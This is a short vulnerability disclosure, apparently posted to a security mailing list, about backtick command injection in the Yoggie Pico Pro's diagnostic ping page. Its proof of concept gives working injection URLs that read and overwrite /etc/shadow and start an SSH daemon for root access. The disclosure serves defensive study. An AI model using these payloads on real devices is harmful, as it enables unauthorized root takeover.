Yoggie Pico Pro Remote Code Execution

["Cody Brocious" <cody.brocious () gmail com>]

This vulnerability affects the Yoggie Pico Pro (and most certainly the
Yoggie Pico, due to them being effectively identical) security
appliance.  They expose a 'ping' function in their web interface for
diagnostic purposes, which passes the IP/hostname given directly to
ping in the form of 'ping -c 10 <given ip>'.  They do basic checking
for ampersands, semicolons, and pipes, but do not check for backticks,
which allows you to execute commands as root on the device.

Proof of concept:
When run from a machine with a Yoggie Pico Pro connected,
yoggie.yoggie.com resolves to the IP of the device, so these links
will of course not work unless you have a device connected.  I didn't
brute-force the root password, so I explain how you can replace their
/etc/shadow to set the password to whatever you choose.

To access the original /etc/shadow:
https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60cp%20/etc/shadow%20shadow.txt%60
https://yoggie.yoggie.com:8443/cgi-bin/shadow.txt
Replace the root password with the password of your choosing, then
wrap the file in single quotes and urlencode the entire string.

To replace the original /etc/shadow with your own:
https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60echo%20<urlencoded
shadow file>%20%3E%20/etc/shadow%60

Finally, running dropbear sshd on port 7290 (random choice -- not
blocked by their firewall rules)
https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60/usr/sbin/dropbear%20-p%207290%60

Log in as root with the password chosen, and you now have complete
control over the device.  It's quite  powerful little computer, and a
whole hell of a lot of fun to play around with.  A word of advice,
though -- don't touch libc in any way, shape, or form, as there's no
reflash mechanism I've found on the device, which is why I now have a
bricked pico pro sitting on my desk ;)

- Cody Brocious

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